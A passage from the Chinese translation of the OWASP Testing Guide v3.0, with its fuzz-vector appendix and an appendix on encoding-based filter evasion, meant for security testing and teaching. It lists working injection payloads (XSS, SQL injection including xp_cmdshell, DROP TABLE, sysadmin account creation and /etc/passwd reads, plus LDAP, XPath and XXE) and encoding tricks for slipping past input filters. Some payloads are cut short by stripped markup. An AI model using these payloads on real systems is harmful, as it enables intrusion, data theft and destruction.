• Exploiting Software: How to Break Code, by Gary McGraw and Greg Hoglund, published by Addison-Wesley Pub Co, ISBN<br />

0201786958 (2004) -http://www.exploitingsoftware.com<br />

• Secure Programming for Linux and Unix HOWTO, David Wheeler (2004) - http://www.dwheeler.com/secure-programs<br />

• Mastering the Requirements Process, by Suzanne Robertson and James Robertsonn, published by Addison-Wesley Professional,<br />

ISBN 0201360462 - http://www.systemsguild.com/GuildSite/Robs/RMPBookPage.html<br />

• The Unified Modeling Language – A User Guide -<br />

http://www.awprofessional.com/catalog/product.asp?product_id=%7B9A2EC551-6B8D-4EBC-A67E-84B883C6119F%7D<br />

• Web Applications (Hacking Exposed) by Joel Scambray and Mike Shema, published by McGraw-Hill Osborne Media, ISBN<br />

007222438X<br />

• Software Testing In The Real World (Acm Press Books) by Edward Kit, published by Addison-Wesley Professional, ISBN<br />

0201877562 (1995)<br />

• Securing Java, by Gary McGraw, Edward W. Felten, published by Wiley, ISBN 047131952X (1999) -<br />

http://www.securingjava.com<br />

• Beizer, Boris, Software Testing Techniques, 2nd Edition, © 1990 International Thomson Computer Press, ISBN 0442206720<br />

有 用 的 站 点<br />

• Use Cases: Just the FAQs and Answers - http://www-<br />

• OWASP — http://www.owasp.org<br />

• SANS - http://www.sans.org<br />

• Secure Coding — http://www.securecoding.org<br />

• Secure Coding Guidelines for the .NET Framework -<br />

http://msdn.microsoft.com/security/securecode/bestpractices/default.aspx?pull=/library/enus/dnnetsec/html/seccodeguide.asp<br />

• Security in the Java platform — http://java.sun.com/security<br />

361


• OASIS WAS XML — http://www.oasis-open.org/committees/tc_home.php?wg_abbrev=was<br />

附 录 C: 漏 洞 检 测 向 量<br />

下 面 是 可 以 用 于 WebScarab,JBroFuzz,WSFuzzer, 或 者 其 它 漏 洞 检 测 工 具 的 漏 洞 检 测 向 量 。 漏 洞 检 测 是 一 种 " 混 合<br />

情 况 " 的 方 法 , 用 来 测 试 参 数 被 操 作 时 应 用 程 序 的 反 应 。 一 般 来 说 , 我 们 寻 找 一 个 应 用 程 序 产 生 的 错 误 情 况 , 来 作 为<br />

漏 洞 检 测 的 结 果 。 这 是 发 现 阶 段 最 简 单 的 部 分 。 一 旦 一 个 错 误 被 发 现 , 指 出 它 并 利 用 一 个 潜 在 的 漏 洞 就 需 要 技 术<br />

了 。<br />

漏 洞 检 测 分 类<br />

在 无 状 态 的 网 络 协 议 ( 比 如 HTTP(S)) 中 存 在 两 大 类 别 :<br />

• 递 归 漏 洞 检 测<br />

• 可 替 换 漏 洞 检 测<br />

我 们 在 下 面 的 子 章 节 中 分 析 和 定 义 每 种 类 别 。<br />

递 归 漏 洞 检 测<br />

递 归 漏 洞 检 测 可 以 被 定 义 为 检 测 一 个 字 母 表 中 的 所 有 可 能 组 合 构 成 的 请 求 的 过 程 。 考 虑 这 个 例 子 :<br />

http://www.example.com/8302fa3b<br />

选 择 "8302fa3b" 作 为 在 例 如 从 {0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f} 这 样 的 16 进 制 数 字 符 集 中 构 成 的 请 求 的 一 部<br />

分 来 进 行 针 对 检 测 。 这 将 产 生 总 共 16^8 个 如 下 格 式 的 请 求 :<br />

http://www.example.com/00000000<br />

...<br />

http://www.example.com/11000fff<br />

...<br />

http://www.example.com/ffffffff<br />

可 替 换 漏 洞 检 测<br />

可 替 换 漏 洞 检 测 可 以 被 定 义 为 通 过 替 换 值 对 部 分 请 求 进 行 检 测 的 过 程 。 这 个 值 我 们 称 为 漏 洞 检 测 向 量 。 比 如 下 面 的<br />

例 子 :<br />

http://www.example.com/8302fa3b<br />

发 送 如 下 漏 洞 检 测 向 量 以 测 试 跨 站 脚 本 攻 击 :<br />

362


OWASP 测 试 指 南 v3.0<br />

http://www.example.com/>">alert("XSS")&<br />

http://www.example.com/'';!--"=&{()}<br />

这 就 是 一 种 可 替 换 漏 洞 攻 击 。 在 这 个 类 别 中 , 请 求 的 总 数 依 赖 于 指 定 的 漏 洞 检 测 向 量 的 数 量 。<br />

本 附 录 接 下 来 将 描 述 一 系 列 的 漏 洞 检 测 向 量 类 别<br />

跨 站 脚 本 攻 击 (XSS)<br />

XSS 细 节 详 见 : 跨 站 脚 本 攻 击 章 节<br />

>">alert("XSS")&<br />

">@import"javascript:alert('XSS')";<br />

>"'><br />

>%22%27><br />

'%uff1cscript%uff1ealert('XSS')%uff1c/script%uff1e'<br />

"><br />

>"<br />

'';!--"=&{()}<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

缓 冲 区 溢 出 和 格 式 化 字 符 串 错 误<br />

缓 冲 区 溢 出 (BFO)<br />

363


缓 冲 区 溢 出 或 者 内 存 坍 塌 攻 击 需 要 通 过 编 程 实 现 , 它 使 得 合 法 数 据 从 内 存 的 有 限 预 分 配 存 储 空 间 中 溢 出 。<br />

缓 冲 区 溢 出 细 节 详 见 : 缓 冲 区 溢 出 章 节<br />

注 意 , 尝 试 在 一 个 漏 洞 检 测 程 序 中 加 载 这 样 的 定 义 文 件 可 能 会 导 致 程 序 崩 溃 。<br />

A x 5<br />

A x 17<br />

A x 33<br />

A x 65<br />

A x 129<br />

A x 257<br />

A x 513<br />

A x 1024<br />

A x 2049<br />

A x 4097<br />

A x 8193<br />

A x 12288<br />

格 式 化 字 符 串 错 误 (FSE)<br />

格 式 化 字 符 串 攻 击 是 一 类 与 提 供 语 言 特 殊 格 式 标 记 相 关 的 漏 洞 格 式 化 字 符 串 攻 击 是 一 类 与 提 供 语 言 特 殊 格 式 标 记 相<br />

关 的 漏 洞 , 它 可 以 执 行 二 义 性 的 代 码 或 者 令 程 序 崩 溃 。 检 测 这 样 的 错 误 需 要 客 观 的 检 查 未 过 滤 的 用 户 输 入 。<br />

关 于 FSE 的 精 彩 介 绍 可 以 在 一 篇 名 为 Detecting Format String Vulnerabilities with Type Qualifiers 的 USENIX 论 文 中 找<br />

到 。<br />

注 意 , 尝 试 在 一 个 漏 洞 检 测 程 序 中 加 载 这 样 的 定 义 文 件 可 能 会 导 致 程 序 崩 溃 。<br />

%s%p%x%d<br />

.1024d<br />

%.2049d<br />

%p%p%p%p<br />

%x%x%x%x<br />

%d%d%d%d<br />

%s%s%s%s<br />

%99999999999s<br />

%08x<br />

%%20d<br />

%%20n<br />

%%20x<br />

%%20s<br />

%s%s%s%s%s%s%s%s%s%s<br />

%p%p%p%p%p%p%p%p%p%p<br />

%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br />

%s x 129<br />

%x x 257<br />

364


OWASP 测 试 指 南 v3.0<br />

整 数 溢 出 (INT)<br />

整 数 溢 出 错 误 发 生 在 当 一 个 程 序 没 有 估 计 到 一 个 算 数 操 作 会 导 致 一 个 值 大 于 数 据 类 型 的 最 大 值 , 或 者 小 于 数 据 类 型<br />

的 最 小 值 的 时 候 。 如 果 一 个 攻 击 者 可 以 使 得 程 序 执 行 这 样 一 个 内 存 分 配 , 那 幺 这 个 程 序 就 有 可 能 容 易 受 到 缓 冲 区 溢<br />

出 漏 洞 攻 击 。<br />

-1<br />

0<br />

0x100<br />

0x1000<br />

0x3fffffff<br />

0x7ffffffe<br />

0x7fffffff<br />

0x80000000<br />

0xfffffffe<br />

0xffffffff<br />

0x10000<br />

0x100000<br />

SQL 注 入<br />

这 种 攻 击 可 以 影 响 一 个 应 用 程 序 的 数 据 库 层 , 它 典 型 的 表 现 在 当 用 户 输 入 的 SQL 语 句 没 有 被 过 滤 的 时 候 。<br />

SQL 注 入 测 试 的 细 节 详 见 : SQL 注 入 测 试 章 节<br />

SQL 注 入 分 为 以 下 两 类 , 依 据 是 暴 露 数 据 库 信 息 ( 被 动 ) 还 是 修 改 数 据 库 信 息 ( 主 动 )。<br />

• 被 动 SQL 注 入<br />

• 主 动 SQL 注 入<br />

主 动 SQL 注 入 语 句 如 果 被 执 行 将 对 底 层 的 数 据 库 造 成 有 害 的 影 响 。<br />

被 动 SQL 注 入 (SQP)<br />

'||(elt(-3+5,bin(15),ord(10),hex(char(45))))<br />

||6<br />

'||'6<br />

(||6)<br />

' OR 1=1--<br />

OR 1=1<br />

' OR '1'='1<br />

; OR '1'='1'<br />

%22+or+isnull%281%2F0%29+%2F*<br />

365


%27+OR+%277659%27%3D%277659<br />

%22+or+isnull%281%2F0%29+%2F*<br />

%27+--+<br />

' or 1=1--<br />

" or 1=1--<br />

' or 1=1 /*<br />

or 1=1--<br />

' or 'a'='a<br />

" or "a"="a<br />

') or ('a'='a<br />

Admin' OR '<br />

'%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES--<br />

) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES;<br />

' having 1=1--<br />

' having 1=1--<br />

' group by userid having 1=1--<br />

' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = tablename')--<br />

' or 1 in (select @@version)--<br />

' union all select @@version--<br />

' OR 'unusual' = 'unusual'<br />

' OR 'something' = 'some'+'thing'<br />

' OR 'text' = N'text'<br />

' OR 'something' like 'some%'<br />

' OR 2 > 1<br />

' OR 'text' > 't'<br />

' OR 'whatever' in ('whatever')<br />

' OR 2 BETWEEN 1 and 3<br />

' or username like char(37);<br />

' union select * from users where login = char(114,111,111,116);<br />

' union select<br />

Password:*/=1--<br />

UNI/**/ON SEL/**/ECT<br />

'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'<br />

'; EXEC ('SEL' + 'ECT US' + 'ER')<br />

'/**/OR/**/1/**/=/**/1<br />

' or 1/*<br />

+or+isnull%281%2F0%29+%2F*<br />

%27+OR+%277659%27%3D%277659<br />

%22+or+isnull%281%2F0%29+%2F*<br />

%27+--+&password=<br />

'; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login ><br />

@var select @var as var into temp end --<br />

' and 1 in (select var from temp)--<br />

' union select 1,load_file('/etc/passwd'),1,1,1;<br />

1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;<br />

' and 1=( if((load_file(char(110,46,101,120,116))char(39,39)),1,0));<br />

366


OWASP 测 试 指 南 v3.0<br />

主 动 SQL 注 入 (SQI)<br />

'; exec master..xp_cmdshell 'ping 10.10.1.2'--<br />

CRATE USER name IDENTIFIED BY 'pass123'<br />

CRATE USER name IDENTIFIED BY pass123 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users;<br />

' ; drop table temp --<br />

exec sp_addlogin 'name' , 'password'<br />

exec sp_addsrvrolemember 'name' , 'sysadmin'<br />

INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost', PASSWORD('pass123'))<br />

GRANT CONNECT TO name; GRANT RESOURCE TO name;<br />

INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70)<br />

+ char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64)<br />

LDAP 注 入<br />

LDAP 注 入 细 节 详 见 : LDAP 注 入 章 节<br />

|<br />

!<br />

(<br />

)<br />

%28<br />

%29<br />

&<br />

%26<br />

%21<br />

%7C<br />

*|<br />

%2A%7C<br />

*(|(mail=*))<br />

%2A%28%7C%28mail%3D%2A%29%29<br />

*(|(objectclass=*))<br />

%2A%28%7C%28objectclass%3D%2A%29%29<br />

*()|%26'<br />

admin*<br />

admin*)((|userPassword=*)<br />

*)(uid=*))(|(uid=*<br />

XPATH 注 入<br />

XPATH 注 入 细 节 详 见 : XPath 注 入 章 节<br />

'+or+'1'='1<br />

'+or+''='<br />

367


x'+or+1=1+or+'x'='y<br />

/<br />

//<br />

//*<br />

*/*<br />

@*<br />

count(/child::node())<br />

x'+or+name()='username'+or+'x'='y<br />

XML 注 入<br />

XML 注 入 细 节 详 见 : XML 注 入 章 节<br />

var n=0;while(true){n++;}]]><br />

SCRIPT]]>alert('gotcha');/SCRIPT]]><br />

<br />

]>&xee;<br />

]>&xee;<br />

]>&xee;<br />

]>&xee;<br />

附 录 D: 编 码 注 入<br />

背 景<br />

字 符 编 码 主 要 用 于 使 用 一 种 适 合 计 算 机 理 解 、 存 储 和 显 示 数 据 的 格 式 来 表 示 字 符 、 数 字 和 其 它 符 号 。 使 用 简 单 的 术<br />

语 来 说 , 就 是 将 字 节 转 换 为 属 于 不 同 语 言 的 字 符 — 例 如 英 语 , 汉 语 , 希 腊 语 或 其 它 任 何 已 知 语 言 。 一 个 常 用 的 早 期<br />

编 码 模 式 是 ASCII( 美 国 信 息 交 换 标 准 编 码 ), 它 使 用 7 位 编 码 字 符 。 现 今 最 常 用 的 编 码 模 式 是 Unicode(UTF 8)。<br />

字 符 编 码 有 另 外 的 用 途 , 更 确 切 的 说 是 误 用 。 它 常 用 于 通 过 嵌 入 恶 意 字 符 串 的 方 法 , 来 进 行 混 淆 以 绕 过 输 入 验 证 过<br />

滤 器 , 或 者 利 用 浏 览 器 的 功 能 来 显 示 一 个 编 码 模 式 。<br />

输 入 编 码 — 逃 避 过 滤<br />

Web 应 用 程 序 通 常 使 用 不 同 类 型 的 输 入 过 滤 机 制 来 限 制 用 户 可 以 提 交 的 输 入 。 如 果 这 些 输 入 过 滤 器 执 行 得 不 够 好 ,<br />

可 能 会 有 一 两 个 字 符 从 这 些 过 滤 器 中 滑 过 Web 应 用 通 常 使 用 不 同 类 型 的 输 入 过 滤 机 制 来 限 制 用 户 可 以 提 交 的 输 入 。<br />

368


OWASP 测 试 指 南 v3.0<br />

如 果 这 些 输 入 过 滤 器 执 行 得 不 够 好 , 可 能 会 有 一 两 个 字 符 从 这 些 过 滤 器 中 走 漏 。 例 如 , 字 符 ‘/’ 在 ASCII 中 可 以 表<br />

示 为 16 进 制 数 2F, 而 这 个 字 符 在 Unicode(2 字 节 序 列 ) 中 则 被 编 码 为 C0 AF。 因 此 , 输 入 过 滤 控 制 能 识 别 输 入 使<br />

用 的 编 码 模 式 是 非 常 重 要 的 。 如 果 过 滤 器 被 发 现 是 用 于 查 找 UTF 8 编 码 注 入 , 那 幺 使 用 一 个 不 同 编 码 模 式 可 能 会 绕<br />

过 这 个 过 滤 器 。<br />

换 句 话 说 , 编 码 注 入 方 式 之 所 以 能 起 作 用 , 原 因 在 于 即 使 输 入 过 滤 器 可 能 无 法 察 觉 或 过 滤 一 个 编 码 攻 击 , 浏 览 器 在<br />

显 示 web 页 面 时 仍 然 会 正 确 的 解 释 它 。<br />

输 出 编 码 — 服 务 器 与 浏 览 器 一 致<br />

Web 浏 览 器 为 了 连 贯 的 显 示 一 个 web 界 面 , 必 须 要 能 识 别 使 用 的 编 码 模 式 。 理 论 上 , 这 些 信 息 应 该 通 过 HTTP 头 中<br />

的 Content-Type 字 段 提 供 给 浏 览 器 , 以 下 是 一 个 例 子 :<br />

Content-Type: text/html; charset=UTF-8<br />

or through HTML META tag (“META HTTP-EQUIV”), as shown below:<br />

<br />

通 过 这 些 编 码 声 明 , 浏 览 器 明 白 了 在 转 换 字 符 时 应 该 使 用 哪 种 编 码 方 式 。 注 意 : 在 HTTP 头 中 提 到 的 内 容 类 型 要 比<br />

META 标 志 声 明 优 先 级 高 。<br />

CERT 对 此 做 了 如 下 描 述 ( 以 下 为 翻 译 版 ):<br />

许 多 网 页 没 有 定 义 字 符 编 码 (HTTP 中 的 "charset" 参 数 )。 在 早 期 的 HTML 和 HTTP 版 本 中 , 如 果 字 符 编 码 没 有 定<br />

义 , 则 默 认 为 ISO-8859-1。 实 际 上 , 许 多 浏 览 器 都 有 自 己 的 默 认 值 , 所 以 不 能 依 赖 于 默 认 值 一 定 是 ISO-8859-1。<br />

HTML 第 4 版 规 定 : 如 果 字 符 编 码 没 有 定 义 , 那 幺 任 何 字 符 编 码 都 可 以 被 使 用 。<br />

如 果 web 服 务 器 没 有 指 定 使 用 的 是 哪 种 字 符 编 码 , 就 不 能 指 出 哪 些 字 符 是 特 殊 的 。 拥 有 未 指 定 字 符 编 码 网 页 大 多 数<br />

时 候 工 作 正 常 , 因 为 大 多 数 字 符 集 对 于 小 于 128 的 字 节 值 赋 予 相 同 的 字 符 。 但 哪 些 值 大 于 128 的 字 符 是 特 殊 的 呢 ?<br />

一 些 16 位 编 码 模 式 对 于 "


例 如 一 个 用 以 保 护 单 引 用 字 符 注 入 的 基 础 输 入 验 证 过 滤 器 。 在 这 种 情 况 下 , 下 面 的 注 入 将 轻 易 绕 过 过 滤 器 :<br />

alert(String.fromCharCode(88,83,83))<br />

Javascript 函 数 String.fromCharCode 通 过 给 定 的 Unicode 值 来 返 回 相 应 的 字 符 串 。 这 是 一 个 最 基 本 形 式 的 编 码 注 入 。<br />

另 一 个 可 以 使 用 来 绕 过 过 滤 器 的 向 量 为 :<br />

<br />

(Numeric reference)<br />

上 面 使 用 了 HTML Entities 来 构 建 注 入 字 符 串 。HTML Entities 编 码 用 于 显 示 在 HTML 中 拥 有 特 殊 含 义 的 字 符 。 例 如 ,<br />

‘>’ 作 为 一 个 HTML 标 示 是 结 束 括 号 。 为 了 直 接 在 页 面 上 显 示 这 个 字 符 , 必 须 在 页 面 中 包 含 HTML 字 符 实 体 。 这 种 上<br />

述 注 入 是 一 种 编 码 方 式 。 还 有 其 它 很 多 的 方 式 使 得 一 个 字 符 串 能 通 过 编 码 或 混 淆 来 绕 过 以 上 过 滤 器 。<br />

16 进 制 编 码<br />

Hex 是 Hexadecimal 的 缩 写 , 这 是 一 个 16 进 制 的 系 统 , 使 用 从 0 到 9 以 及 A 到 F 这 16 个 值 来 表 示 不 同 的 字 符 。Hex<br />

编 码 是 另 一 种 形 式 的 混 淆 , 即 有 时 用 来 绕 过 输 入 验 证 过 滤 器 。 例 如 , 对 字 符 串 的 16<br />

进 制 编 码 为 :<br />

<br />

上 述 字 符 串 的 一 个 变 种 如 下 所 示 , 可 以 用 于 在 字 符 ’%’ 被 过 滤 的 地 方 :<br />

<br />

也 有 其 它 例 如 Base64 和 八 进 制 的 编 码 模 式 能 用 于 混 淆 。 虽 然 每 种 编 码 模 式 不 可 能 每 次 都 起 作 用 , 一 些 聪 明 的 反 复 尝<br />

试 还 是 会 最 终 揭 露 出 构 建 得 不 好 的 输 入 验 证 过 滤 器 的 漏 洞 。<br />

UTF-7 编 码<br />

UTF-7 对 alert(‘XSS’); 的 编 码 如 下 :<br />

+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-<br />

为 了 使 上 述 脚 本 工 作 , 浏 览 器 需 要 使 用 UTF-7 编 码 来 解 释 网 页 。<br />

多 字 节 编 码<br />

变 长 编 码 是 另 一 种 使 用 不 定 长 的 代 码 来 编 码 字 符 的 编 码 模 式 。 多 字 节 编 码 是 一 种 使 用 可 变 数 量 的 字 节 数 来 表 示 字 符<br />

的 变 长 编 码 。 多 字 节 编 码 主 要 用 于 对 大 字 符 集 的 字 符 进 行 编 码 , 例 如 汉 语 , 日 语 和 朝 鲜 语 。<br />

多 字 节 编 码 过 去 被 用 来 绕 过 标 准 输 入 验 证 过 滤 器 , 执 行 跨 站 脚 本 攻 击 以 及 SQL 注 入 攻 击 。<br />

370


OWASP 测 试 指 南 v3.0<br />

参 考<br />

• http://ha.ckers.org/xss.html<br />

• http://www.cert.org/tech_tips/malicious_code_mitigation.html<br />

• http://www.w3schools.com/HTML/html_entities.asp<br />

• http://www.iss.net/security_center/advice/Intrusions/2000639/default.htm<br />

• http://searchsecurity.techtarget.com/expert/KnowledgebaseAnswer/0,289625,sid14_gci1212217_tax299989,00.html<br />

• http://www.joelonsoftware.com/articles/Unicode.html<br />

371

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!